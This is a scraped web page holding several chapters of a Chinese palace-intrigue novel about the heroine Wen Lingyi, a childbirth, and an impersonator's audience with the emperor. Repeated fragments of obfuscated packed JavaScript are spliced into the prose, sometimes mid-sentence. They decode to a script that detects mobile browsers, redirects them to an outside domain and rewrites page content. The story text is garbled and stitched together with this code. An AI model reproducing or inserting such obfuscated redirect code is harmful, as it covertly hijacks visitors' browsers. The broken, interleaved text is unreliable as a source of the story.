d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081580|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >永元帝眼神森然的盯着云湛的脑瓜顶,如今还敢恭喜?还要贺喜?皇宫处处挂着黑纱白绫,他是个瞎子吗? 可是听完云湛的话,永元帝立刻坐直了身子,两只手扶着御书案:“战报?怎么说?” “皇上,大捷!大捷啊!”云湛跪行两步,抬头看着永元帝:“非但大捷,西凉已灭国,如今的西凉犹如二人分金,西域三十六国得西凉半壁江山,另外半壁江山落入大夏手中。”云湛太过激动,额角的青筋都清晰可见是h。 永元帝压住狂跳的心,沉声:“呈上来。” 老太监上前,从云湛手里接过来两份战报。 战报仔细的说了全过程,从温慕阳的战报里,可以看得明明白白,从漠北一直打到泾水河北岸的过程,更能从罗政的战报里看到从拿回雁门关到跟温慕阳汇合,两军汇合之前都经历了大大小小几十场战役,汇合后一举把巫医族逼进了神女山。 巫医族是一个族群,代表不了曾经的西凉,而西凉皇室血脉断绝,那些部族纷纷投靠了萧玄策和大夏,这确实是大喜。 “赏,重重有赏。”永元帝的心从没有如此平静过,他就知道裴祈安是很忠诚的,父皇并不曾说诳语,裴祈安远远比一条最忠诚的狗更忠诚千百倍。 云湛叩头谢恩:“微臣替所有将士们先谢恩。” 永元帝本来勾起的唇角立刻收起了:“并非要赏赐将士们,而是赏赐镇国公府和罗府。” 磕头触底的云湛愣怔了片刻,心里只觉得可笑,这个时候不犒赏三军吗?就算是要赏镇国公和罗府,可也不耽误犒赏三军啊。 “拟旨,召罗政、温慕阳率领三军归京。”永元帝心里在想,裴祈安应该在归途了,自己的靠山回来了,罗政和温慕阳各率三军归京,内患不日可平,大夏安稳了。 云湛满腹狐疑和不甘的离开了御书房,回去的马车里唉声叹气,三军胜利了,可身为户部尚书,他知道朝廷为三军做了什么,如今连犒赏三军的银子都出不起了吗? “圣旨到!” 天蒙蒙亮,镇国公府门外,宣旨太监高举着圣旨,扬声:“温令仪,接旨。” 第262章 这孩子怎么还不回京 若桃是率领镇国公府所有人接旨。 宣旨太监客客气气的宣旨完毕,地上了赏赐的册子。 同样被赏赐的还有罗府,罗政立了大功的消息长了翅膀一般在京城勋贵中传开了。 罗无咎难得露出了喜色,要不是镇国公温城还没有回京,他是太想跟温城喝一场不醉不归的酒,打心底高兴的罗无咎上朝的路上,听到最多的便是恭喜。 大殿上,永元帝反复提起了罗政和温慕阳,盛赞是京城勋贵之后中的翘楚,罗政可是天子门生,这简直太给永元帝长脸了。 罗无咎恭敬地垂首立在大殿上,心里缺在权衡,这个时候若要和罗岳辞官,不知道永元帝会不会同意。 散朝的时候,永元帝召罗无咎去御书房议事。 罗无咎来到御书房,跪下给永元帝请安。 永元帝抬眸看了眼罗无咎,示意所有伺候的宫女和太监都退下,这才起身顾着罗无咎起身:“罗大人,罗政真真是后起之秀中的翘楚,短短日子就能建如此功勋,假以时日,定在裴祈安之上啊。” 罗无咎跪倒在地:“皇上谬赞了,罗政打小就顽劣,能为国效力,老臣就知足了,可比不得摄政王有勇有谋,为国奔波不辞辛劳啊。” 永元帝摇头:“罗政的心思,朕怎么能不知?只等罗政班师回朝,朕就赐婚,让他得偿所愿,只不过罗爱卿啊,让罗政迎娶温令仪,会不会委屈了罗政,毕竟温令仪……” 罗无咎磕头在地:“皇上,老臣自是知道这事儿瞒不过您,但老臣恳请皇上为老臣做主,罗政无论如何也不能和温家二小姐缔结连理。” “为何?”永元帝蹙眉:“难道罗爱卿觉得温令仪配不上罗政?” 罗无咎摇头:“并非是温二小姐配不上罗政,而是罗政配不上温二小姐,现如今外忧解除,更一劳永逸,老臣想等罗政回京后,让他交出兵权。” “不可!”永元帝立刻打断了罗无咎的话,他好不容易培养起来的武将,怎么能让罗政解甲归田? 罗无咎没敢抬头:“皇上,若罗政不解甲归田,唯老臣和罗岳辞官。” 永元帝看着罗无咎,良久无言。 他不想放罗政,可罗无咎和罗岳要辞官,却正中下怀,他原以为大夏气数已尽,可如今只剩下内患未平定,大夏还没有到气数已尽的时候,而以罗无咎为首的朝廷文官太多,罗无咎若能再辞官,对大夏,对他来说都是好事。 见永元帝迟迟不出声,罗无咎心都冷笑了。 从当今皇上登基到现在,君臣七载有余,哪里能不了解这位的心思? 只不过有些话,他不会说,可皇上不说,自己可不能不做,罢了,罢了,再辞官也无妨,能放下第一次,就能放下无初次。 “罗爱卿,起身坐下说话。”永元帝说。 罗无咎起身,坐在了旁边的椅子上,就听永元帝说:“罗爱卿,既然温令仪不合适,那咱们就换个门当户对的,太后娘家有个外甥女叫姜曦,也可赐婚。” “皇上,老臣听说姜府的小小姐才九岁,这年纪太小了。”罗无咎心里都恶心了,永元帝是正经事一问一个不吱声,反倒是把心思都用在了这些乱七八糟的制衡上面了,也不看看现在的大夏,还用得上制衡? 温家和罗家联不联手,哪里比裴祈安的司马昭之心更危险,偏偏这位对裴祈安是一句不提,反倒是盯上了自己的孙儿。 罗政那小子,只要不是温令仪,能看上谁?要不是为了温令仪,能去雁门关? 永元帝清了清嗓子,显然姜曦的年纪确实太小,可太后娘家那边并无合适的姑娘,先皇后那边就别提了,先皇后自缢之后,举家回了原籍,哪里能指望得上,至于新皇后,更是个短命鬼,死的莫名其妙,也悄无声息。 要不是盘算来,盘算去,唯有这个姜曦还能提一提,他也不会坐在这里乱点鸳鸯谱,难道还真让罗政取了温令仪?两家兵马凑到一起,**吗? 罗无咎是真觉得自己快要被气**,但是不能不忍着,索性起身跪倒:“皇上,一门同文武是万万不可的,请皇上为老臣拿个主意,是罗政解甲归田,还是老臣和罗岳辞官隐退。” 永元帝起身过来扶着罗无咎:“罗爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温令仪实在没忍住,痛呼出声,也仅仅是一声,她满头热汗,攥紧的拳头松开,又攥起来,心里在祈祷孩子能顺利降生。 可也就是这一声,门外站着的裴祈安只觉得整个人都没了力气,身体摇晃了一下直接单膝跪在地上了。 “你这出息的!”温慕阳伸出手拉裴祈安,可他的手颤抖的不成样子。 裴祈安摇了摇头,索性直接坐在了地上,两只手捂着脸,恨不得立刻冲进去,只是刚才岳母大人就吩咐过了,规矩就是规矩,不能坏了规矩,男人不能见红门开,产房半步不得踏入。 可他询问了沐白,更召集来了药王谷所有在漠北的师兄们,他们都说过一句话:女子临盆日,鬼门关一命换一命的时候,他从来没有如此害怕过,感觉整个脊梁骨都在打颤。 “扶着玉琢去厢房等着。”温长安说。 裴祈安立刻说:“父亲,我不走,我不能走。” 温长安愣怔了一瞬,裴祈安这一声父亲叫的太自然了,这让温长安心里别提多酸涩了,当年裴玄裴老爷子和裴祈安的父亲,那都跟温家最是亲近,可这个孩子从小到大,一直以来都靠自己的本事活下来的,温家并不曾照拂半分,虽然也是被天家桎梏了,可大事帮不上,小事上也没伸以援手,说起来心里挺惭愧的。 “玉琢,这般模样若是传扬出去,岂不是成了别人茶余饭后的笑谈?”温长安语重心长的说,伸出手想要拉着裴祈安起身。 裴祈安握住了温长安的手。 温长安心里更难受了,因裴祈安手心里都是冷汗,显然是真的很怕。 “父亲,阿宁是我的人,是我的亲人,我在这个世上亲缘太薄了,在我心里阿宁是无价之宝,这个时候不能为她分担痛苦,若我还要躲起来,还算什么男人?”裴祈安抬头看着温长安:“我小时候没本事守护自己的家人,我如今长大了,这辈子没别的奢望,不惜一切代价守护我的亲人,阿宁救过我的命,是我的恩人,给了我一个女儿,如今又在为我搏命,我心里难受。” 说到最后,裴祈安眼泪就落下来了。 温长安索性也坐下了,身为父亲,他的妻子为他生了三儿二女,年轻那会儿虽然也是着急的,可总觉得女人生产,是天经地义的事,直到今日自己的女儿在产房内,他才知道原来女人生产的时候,外面的人是何等的煎熬,担忧也好,恐惧也罢,千百种难过都无法替代分毫啊。 别说担心女儿了,这会儿温长安已经无法用语言描述对自己的发妻的愧疚了。 “罢了,一起等。”温长安说。 本来还硬撑着的温慕阳也坐下了,三个人就跟三尊大泥像似的,守在门外。 产房内。 温夫人紧紧地握着温令仪的手,另一只手拿着软帕子给女儿擦汗:“阿宁,越是这个时候越不能慌,要保存力气才能顺利。” “母亲。”温令仪抬眸看着温夫人,眼圈微微泛红:“当初,母亲临盆的时候必定也是如此痛苦的。” 温夫人柔声:“哪里记得?只记得当初第一次当娘的时候,你们的大哥落草后,哭声可嘹亮了,当时稳婆还说,不愧是镇国公府的大公子,听声音都知道必是将星临世,将来啊,能光耀镇国公府的门楣呢。” 温令仪轻轻地靠在温夫人的手臂上,她知道母亲说的大哥并不是现在的温慕春,而是在温慕春之前,母亲的第一个孩子。 “当时看到那孩子脸上还有血迹,双眼紧闭的躺在襁褓里,娘觉得这辈子都知足了。”温夫人还能回忆起来那孩子软软的肌肤和突然握住自己手指的小手,哭得厉害了,脑门正中间就会有一个小红点浮现出来,只可惜自己的第一个孩子成了为温家挡灾的人,这是她这一辈子头一次也是最后一次悔恨不已,为何要嫁到温家。 “那个孩子啊,像是年画娃娃一般,若是哭恼了,眉心就会有个小红点。”温夫人眼泪滚出眼眶:“或许,是我福薄命浅,接不住那孩子的福分吧。” 温令仪感觉到母亲的眼泪落在了自己的脸颊上,抬眸看母亲在擦泪的样子,她知道母亲有多伤心,一阵紧过一阵的疼痛席卷全身,温令仪知道这是临盆的征兆,紧紧地抿着唇角。 稳婆查看情况,一只手扶着温令仪的膝盖,轻声说:“夫人,用力。” 温令仪攒了半天的力气,缓缓地用着,每一次都想要听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温令仪缓缓地睁开眼睛,偏头看裴祈安:“玉郎啊,难道这个时候还得我哄一哄你不成?” 第264章 不能明媒正娶,怎么能占主一个嫡字呢? 裴祈安见温令仪虚弱的看着自己,用袖子使劲儿擦眼泪:“不是,不是,阿宁你闭着眼睛,我好害怕。” “我累。”温令仪无奈的叹了口气:“你听好了。” 裴祈安立刻把耳朵贴过去。 温令仪哭笑不得,但也真是累得不想多说话,索性由着他了,说了几味草药后,缓了口气:“去让师兄给我熬药,这方子记住了?” “记住了,记住了。”裴祈安起身拔腿就跑,跑了两步回来伸出手碰了碰温令仪的脸颊:“累了就睡一会儿,我亲自去熬药。” 温夫人看着一阵风似的从身边跑过去的裴祈安,心里那叫一个百味杂陈,她是气不过裴祈安没有明媒正娶女儿,可也不是瞎子,裴祈安是真真的心疼自己的女儿,能做到这一步的男人,也是可以托付终身了。 温令仪换了干净的衣裤,床铺上的脏污处理干净后,才看向坐在身边的温夫人:“母亲,熬了一夜,去睡吧。” “我不困倦,倒是你,生产完不能劳累,好好睡一觉,多闭目养神,月子里可不能落下毛病。”温夫人说。 温令仪轻轻地嗯了一声,闭目养神了。 她劝裴祈安好几次,让他尽快回去京城,偏偏裴祈安执拗的厉害,非要等自己临盆后,如今母子平安已经是大喜了,所以裴祈安应尽快去京城,别让京城那边再出岔子。 只是看裴祈安那样子,心里就不落忍,等两日在回去,应该也行吧。 裴祈安出去拉着沐白去配药,蹲在药炉子旁边熬药,看着炉子里跳动的火苗,心里那种大喜又大悲的情绪裹缠的厉害。 “我说,你这人怎么回事?想要哭就去旁边蹲着哭,别把药熬坏了。”沐白嫌弃的白了一眼裴祈安,放下小凳子坐在裴祈安身边。 裴祈安往炉子里添了一块木柴,叹了口气:“我没有亲人,孤零零的活了好多年,若非遇到了阿宁,我哪里有机会当爹?” 沐白撇嘴儿。 “阿宁为我拼了三回命了。”裴祈安低下头:“我都不知道怎么报答她才好。” 沐白愕然:“啥?这不是第二个孩子吗?咋的?还有一个吗?” “不是,是我当年半边月毒发,祖母带着我去药王谷求救,遇到了阿宁,她救了我,不然那次我可能就熬不过来了。”裴祈安说。 沐白松了口气,真是够骇人了,还以为偷偷摸摸还有一胎呢。 裴祈安伸出手搭在沐白的肩膀上:“师兄,咱们做点儿大事咋样?” “你要干嘛?”沐白警惕的看着裴祈安,别看这个男人对小师妹一片深情,他可不是个傻子,裴祈安犹如活阎王一般的手段听到多少回了? 裴祈安低声:“跟我回京。” 沐白审视着裴祈安,脑子里灵光一闪,随后表情凝重起来,点了点头:“好!” 汤药熬好了,裴祈安是连温夫人都拒了,坚持要亲自给温令仪喂药。 温夫人在这也坐不下去,起身去厢房看小外孙了,摇篮里的小家伙在睡觉,旁边温长安和温慕阳一左一右守着,俩人腰背挺直,目光就没离开过襁褓里的孩子。 “你们俩这般守着,再吓坏了孩子。”温夫人假装嗔怒。 一旁躲在角落里的奶娘想哭,吓不吓坏孩子不一定,毕竟那么小的孩子怎么知道害怕?可这俩人可把她吓得不轻啊。 温长安伸出手拉住了温夫人的手。 温夫人一愣,立刻想要抽回手:“你这是作甚?” “对不住你啊。”温长安根本没有松开手的意思,拉着温夫人坐在自己的身边:“咱们半辈子夫妻,你为我养儿育女,临盆多次,可我啊,做的不好啊。” 温夫人低声:“你可别胡说,当着孩子面,说的什么话。” “父亲,母亲,我去看看小妹。”温慕阳起身就跑,自己可不是小孩子,没有眼力见儿,都是当爹的人了,难道还看不出父亲和母亲要说点儿不让旁人听到的话? 到了门口,吩咐奶娘:“跟我来。” 奶娘立刻跟上去了。 温长安笑了:“没想到啊,咱们这个直肠子的儿子,似乎也开窍了。” “你啊,一把年纪了,还要跟那些毛头小子学了?”温夫人想要抽回手,竟又是没成,只能小声嘀咕。 温长安直接把温夫人拉进怀里,在她耳边说:“我的妻啊,这辈子幸亏有你,为我开枝散叶,也不怪我粗心大意,为夫记在心里了。” 温夫人何曾听到过这样的话?打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温长安拍了拍裴祈安的肩膀,嫡长子?不能明媒正娶,怎么能占主一个嫡字呢? 第265章 永元帝试探‘温令仪\’ 裴祈安进了厢房,看着摇篮里的小婴儿,囡囡那会儿是出生就睁开眼睛的,大眼睛特别漂亮,水汪汪的,看着都让人心疼。 他之前独来独往,尽管如此也是知道新生儿的眼睛是要两三天才会睁开的,所以他觉得小囡囡很特别,事实证明女儿确实非常人可比。 如今再看这个让阿宁吃了不少苦头的儿子,竟也是睁着眼睛的,不过比不得小囡囡那么招人疼,也没有小囡囡眼睛漂亮,看着自己的眼神儿,好像也没多友善。 收回目光,裴祈安心里一叹,虽说世人都期盼儿女双全,更欢喜儿女成群,可他却疼阿宁受了那么多苦楚,反而对这个孩子并没有多喜欢似的。 从厢房出来,给温夫人深鞠一躬:“请岳母多多费心照顾阿宁母子二人。” “无须担心。”温夫人并没有多言。 裴祈安和沐白离开漠北,两个人骑着最好的战马,日夜兼程往京城去。 京城里。 若桃仔细的装扮,就算是林嬷嬷都看不出任何破绽,收拾妥当出门往宫门来,拖了三日才入宫谢恩,这已是极限了。 入宫并没有带着林嬷嬷,而是带了同样易容后的温令容,温令容虽下嫁给了小小商贾,但身为镇国公府的嫡长女,从小学的规矩是最全的,跟在若桃身边可以多多提醒。 宫门口,递上了镇国公府的帖子,守卫往御书房送信儿。 若桃低垂着眉眼,说起紧张,反倒是温令容更提心吊胆一些,京中已经入冬了,饶是如此,她手心里都有薄薄的一层汗。 太后和皇后的丧事还有半个月就该出殡了,如今后宫到底是谁掌管尚不可知,不过有一点是京城人都知道的,皇上正春秋鼎盛时,却无子嗣传承江山,立后也好,广开后宫也好,毕竟是在葬礼后就要提上日程的。 御书房里,永元帝这几日是喜上眉梢,不单单是因为漠北和雁门关大捷的战报,还有昨日刚刚接到了裴祈安的飞鸽传书,不日归京! 虽说,裴祈安未必真的能跟罗、温两家势均力敌,但有牵制总比现在要好很多,虽然罗无咎请辞没答应,可只要罗政班师回朝,早晚的事。 “皇上,镇国公府二小姐温令仪在宫门外求见。”新晋太监总管魏怀小声通禀。 永元帝放下手里的奏折,温令仪啊。 要不是她来求见,自己还真想不起来,打从秦国公府覆灭,准许其休夫后,温令仪的表现是他非常满意的,深居简出,就连保和堂都极少见到她,唯有这样懂事的人,才让人安心。 “无需谢恩。”永元帝说。 魏怀赶紧躬身:“皇上,镇国公府入宫谢恩是情理之中的事,拖了三天才来是镇国公府没有男丁,如今既然来了,见一面,也好探探虚实。” 永元帝抬眸看着魏怀。 魏怀不敢卖关子:“这位温二小姐可颇得民心,跟之前所作所为比起来,如今入宫露面,保不齐是老镇国公的意思,如今后宫空虚,若能让温令仪入宫,温家和皇上可就是姻亲呢。” “那就宣。”永元帝揉了揉额角,魏怀是个有本事的,做事干脆利索不说,更是对京城的勋贵了若指掌,把这个人放在心身边的好处可不少,别人不说,方静言的来历,魏怀可以调查的一清二楚。 只是温令仪身边有个神秘的男人陪伴,到底是谁,查不出来。 至于让温令仪入宫,永元帝可没这份心思,身为一国之君,什么样的女人没有?温令仪再怎么说也是二嫁女,二嫁能入天家?把天家当成了什么? 魏怀出门传旨。 很快,若桃在温令容的陪伴下来到御书房门外。 “温二小姐,皇上吩咐咱家亲自迎您。”魏怀笑着上前。 若桃微微颔首行礼:“有劳您了。” 魏怀看着要跟进来的温令容,伸出握着拂尘的手:“仆从在殿外候着。” 温令容退后到一边,看了眼若桃。 若桃给了温令容一个安心的眼神儿,迈步进了御书房。 恭敬地给皇上请安。 “平身,赐座吧。”永元帝打量着若桃,见她神色淡然的模样,委实寡淡的很,入宫?得多无趣? 若桃谢恩后,起身落座。 低垂着眉眼,似也没有说话的心思。 永元帝端起茶盏抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095417|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口:“温令仪,听说你一直都在府里调养身子,如今可好了?” “回皇上。”若桃头低得更深一些:“师父说,泾河府动了根本,想要调养好是不能了,好在不会伤了寿数,只是以后不能再有子嗣了。” 永元帝蹙眉,泾河府的事他是知道的,温令仪确实刚烈,也确实遭罪了。 “令仪确实吃了苦,也为朝廷立了大功,对了,你可认得方静言?”永元帝问。 魏怀在旁边低着头,忍不住皱眉,这个时候问方静言作甚?不过温令仪这到底是什么命,不能再有子嗣,皇上让她入宫作甚? 若桃心里不屑,幸好自己早就对姐姐所有的事了若指掌,要不然自己还真会露出破绽。 “方静言是个苦命的人,臣女第一次去雁门关的时候,路过泾河府时恰巧遇到那些村民要把她沉塘,救了她。”若桃回答的不急不缓。 魏怀抬头偷偷的看了眼永元帝。 永元帝微微挑眉:“听说,当时有一个小女娃,还有一个男子,并且那小女娃叫你母亲,叫那个男子父亲。” 若桃心里咯噔一下,抬头嘴角一抹苦笑,看着永元帝:“皇上,那个小女娃是我的义女囡囡,只不过臣女没想到这样的小事也让皇上记挂着,至于那个男子,哎,说来话长。” 魏怀耳朵都支棱起来了,**温令仪会如何应对,真要是害了她的性命,自己也不好交差。 永元帝看着温令仪:“如何说来话长。” “江湖上有天道盟,天道盟虽是江湖门派,背后的主子却是如今的西域三十六国共主萧玄策。”若桃说到这里,顿了一下,扫了眼魏怀,见魏怀脸色似乎苍白了一些,继续说道:“臣女曾在京城外的庄子里救过一个将死之人,本着医者的本分救了那个人,没想到救了正是萧玄策,萧玄策为报答救命之恩,认了囡囡做义女,并且让囡囡成为天道盟的少主,当时萧玄策的心思是觉得我在秦国公府过的不容易,想要护着我们母女二人平安。” 永元帝偏头看了眼魏怀,魏怀确实说过温令仪救过萧玄策,可怎么没说小囡囡是天道盟的少主这件事?是没查出来吗? 第266章 若桃不傻,必杀技是坦诚布公! 魏怀低着头,都能感受到永元帝那如刀一般的眼神儿。 若桃可没有停下来的意思,而是继续说道:“萧玄策得知臣女要去雁门关,曾劝阻过臣女,因如此长途跋涉,一弱女子十分不安全,可臣女怕雁门关有时疫蔓延,执意要去,萧玄策便想出来了这样的法子,让臣女带着囡囡,他亲自护送,对外宣称是一家三口。” 永元帝有些尴尬。 试探一个坦诚到没有一点儿秘密的人,到最后真的是太尴尬了。 “令仪不止在京城为朝廷奔波,更是为大夏的将士们做了很多事,若非令仪,药王谷的人也不会成为军中的军医。”永元帝说。 若桃在想,若不是大姐姐这么久一直都在教自己,只怕今天就装不下去了,不过她没有那么多弯弯绕绕,可知无不言的坦诚,那可是能横扫一片的好手段。 缓缓地吸了口气,若桃大大方方的端起来桌子上的茶盏,润润喉。 就在永元帝想要让温令仪离开的时候,没想到若桃轻轻地叹了口气,说道:“皇上有所不知,泾水河两岸的百姓苦不堪言,如今治理泾水河的崔东昊,臣女也认得。” 魏怀缓缓地闭上了眼睛,这个女人是不是少脑子? 永元帝愣了一下,问道:“如何认得的?” “臣女在泾河府发现时疫会很严重,百姓三餐不继,一个个都骨肉如柴,别说时疫了,一个小小的风寒都能丧命,跟泾河府一河之隔的江南府也不会幸免于难,所以臣女就找到了太医院的沈济生。”若桃压低声音,一脸八卦的模样说:“沈济生说,想要请邓家出山,那就得去请崔家老夫人,因为崔家老夫人是沈济生的嫡母,也是邓家的嫡长女,不过嫡长女嫁给沈济生的爹,临盆一尸两命后,邓家就不搭理沈济生的爹了,这事儿皇上知道吗?” 永元帝只觉得心里一下就乱了,身为一国之君,哪里有人敢在自己面前说这些嚼舌根子的话啊? 若桃啧啧两声,摇头:“皇上肯定不知道这些,不过皇上一定愿意听,不然臣女去一趟雁门关,事无巨细都了若指掌呢。” 永元帝愕然,只觉得脸上火辣辣的。 “沈济生是个好人,可他不能露面,朝廷那会儿也没有别的救援,臣女就去了江南府,登门拜访崔家,哦,对了,臣女还认得漕帮的白长鹤,不过是另外的事了,一会儿臣女给您讲。”若桃看得出来永元帝心烦了,顿时来了兴致,滔滔不绝的讲起来了崔家的事,提到崔东昊的时候,还忍不住赞了一句:“真是个有能耐的年轻人,皇上,现在泾河府那边的水患治理,成效如何?” 永元帝脸色一沉:“温令仪,这是国事。” “臣女错了,臣女不该问,皇上息怒。”若桃起身跪下:“臣女跟皇上说一说漕帮的白长鹤吧。” 永元帝摆手:“不必!” “皇上,这个不行,你听臣女说,不然臣女就是知情不报,若是被小人利用,断章取义,再蒙蔽了皇上,以为温家人不忠,那温家就被臣女连累了。”若桃磕头在地:“皇上,还有我在雁门关的时候,晏明昭杀了晏怀卿的两个妾室,那两个妾室都怀有身孕了呢。” 永元帝忍无可忍,一拍桌子:“温令仪!够了!” 若桃像是被吓坏了似的,跌坐在地上,抬头看着永元帝:“不说是隐瞒,说了不愿意听,皇上,臣女怎么做都是错的吗?” 门外等候的温令容眼前发黑,她不知道里面到底怎么了。 但皇上震怒的声音是清晰入耳。 魏怀赶紧过来扶着若桃起身:“温二小姐,这可不是寻常后宅,更非市井茶楼,你这些都是女人家凑到一起愿意聊的闲话,这是哪儿啊?这是御书房,可不能仗着皇上宠镇国公府就口无遮拦。” 若桃剜了一眼魏怀,这个老坏种,罢了,自己才不计较,重新跪下磕头:“臣女知错了,皇上息怒。” “退下吧。”永元帝真是懒得看一眼,真是瞎了眼,还以为是个多能耐的,怪不得能被晏怀卿欺负成那副鬼样子,你瞅瞅这张嘴,可真是太不讨喜了!也就仗着会医术,不然哪里还有一点儿可取之处? 若桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏怀颤抖着手拿起来绳子,把绳子甩上房梁,踩着凳子爬上去,两眼一闭钻进了套里,蹬到了凳子,身体挣扎了几下就不动了。 萧玄策抬眸看着魏怀死在自己眼前,转身离开…… 第267章 感觉像是被扒了一层皮 若桃回到镇国公府,直接趴在床上,大口大口的换气,这可把林嬷嬷吓坏了,站在床边:“小姐,这是咋了?” “没事,可能是吓到了。”温令容坐在床边,轻轻地拍着若桃的背。 若桃哭唧唧的坐起来:“嬷嬷,皇宫真是个**的地方,我进去一趟感觉像是被扒了一层皮,就算让我上阵杀敌,面对千军万马,我都不会这么害怕啊。” “小姐,可千万不能乱说话,隔墙有耳。”林嬷嬷赶紧提醒。 温令容笑了:“我们若桃最厉害了,能文能武,可不能哭了,眼睛肿了就不好看了。” 若桃北夸奖的破涕为笑,立刻挺了挺脊背,滔滔不觉得说起来在御书房的情景,听得温令容脸色苍白,哪里有若桃这般轻松。 永元帝到底昏庸无道,但凡是个有脑子的人都该知道,背地里调查令仪也就调查了,当着面就问,看似是觉得令仪心机城府不够,实则是他把别人都当成傻子,这种人又能聪明到哪里去? 不过,若桃这以退为进用的确实好。 “不是要查吗?我就全说了,免得他瞎费劲,要不是拦着不让我说,我连漕帮的事都跟他说,一个让人治理水患,一毛都不拔的昏君,还想要把所有人都掌控在手心里呢!我呸!”若桃说完,还啐了一口,像是唯有如此才能把心里头那点子怨气给吐出来似的。 林嬷嬷恨不得捂了若桃姑娘的嘴,不过心里头也是气愤的很,她一直都跟在小姐身边,从在晏家受苦受罪,到京城流民闹时疫,小姐为朝廷做了多少事? 谁要是做得多,就提防谁,不怪若桃骂他是昏君。 “小姐,接下来就是宫里办丧事。”林嬷嬷说。 若桃摆手:“不用,不用,狗皇帝说了,不让我去,我觉得是怕我再乱七八糟的胡说。” “那就路祭。”温令容说:“今儿若桃歪打正着,是咱们镇国公府的运气,但礼数上不能让别人看笑话,再者眼看着漠北的温家人都会跟着凯旋之师归京,不能让别人背地里嚼舌头,一旦冒出来功高震主的风言风语,温家就会进退两难。” 门外,本想要进来的萧玄策顿住了脚步,暗暗点头。 怪不得京城里只有个假的温令仪,竟能平安无事,原来府里有高人。 林嬷嬷明白了大小姐的话,若桃听了个七七八八,不过她根本不用操心这些事,大姐姐不愧是镇国公府的嫡长女,是真厉害呢。 可她哪里知道,若不是被前夫一家险些害死,温令容怎么会成了今天的模样,本是个与世无争的性子。 温令容起身:“我去准备路祭所需,嬷嬷在这边照顾若桃妹妹。” “是,大小姐,碧桃和海棠两个人已经在准备了。”林嬷嬷说。 这些事本不需要温令容亲自去操持,可奈何若桃的身边不能没有人,林嬷嬷时时刻刻都贴身陪着若桃,就怕遇到点儿突发的情况,若桃应对不好。 温令容点了点头走出来,一抬头差点儿失声尖叫出来,任凭谁突然看到一个带着修罗面具的黑衣人站在门外,都会吓一跳的。 但没等温令容发出声音来,萧玄策已经捂住了她的嘴,在她耳边低声:“自己人。” 温令容身上颤抖的厉害,强自镇定下来,瞪大眼睛看着萧玄策,心里盘算着自己能不能趁其不备把这个人杀掉,毕竟在京城里,什么是自己人?昏君都在查小妹,派人盯着府里的一举一动多寻常的事,刚才的话别说这个人听到了,就是听到了只言片语,都能给温家带来灭顶之灾。 萧玄策低声:“别想着杀我,带我去说话方便的地方,咱们坐下聊。” 温令容点了点头。 萧玄策松开了他的手,温令容微微屈膝:“请随我来。” 把人领到了自己的院子。 萧玄策倒是自来熟,大马金刀的坐在椅子上,看温令容明明害怕,甚至心里都在想着怎么弄死自己,却不急不缓的给自己斟茶的模样,觉得挺有意思的,温家的大小姐,之前怎么都没听说过呢? 温令容坐在萧玄策对面,抬眸看着萧玄策:“公子既说是自己人,哪又为何遮遮掩掩?不敢以真面目示人呢?” “温大小姐,难道对京城的事知之甚少?”萧玄策抬起手,摘下面具:“天道盟的主子从不以真面目示人,而是每次都会戴着修罗面具。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100664|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音落下,面具摘下。 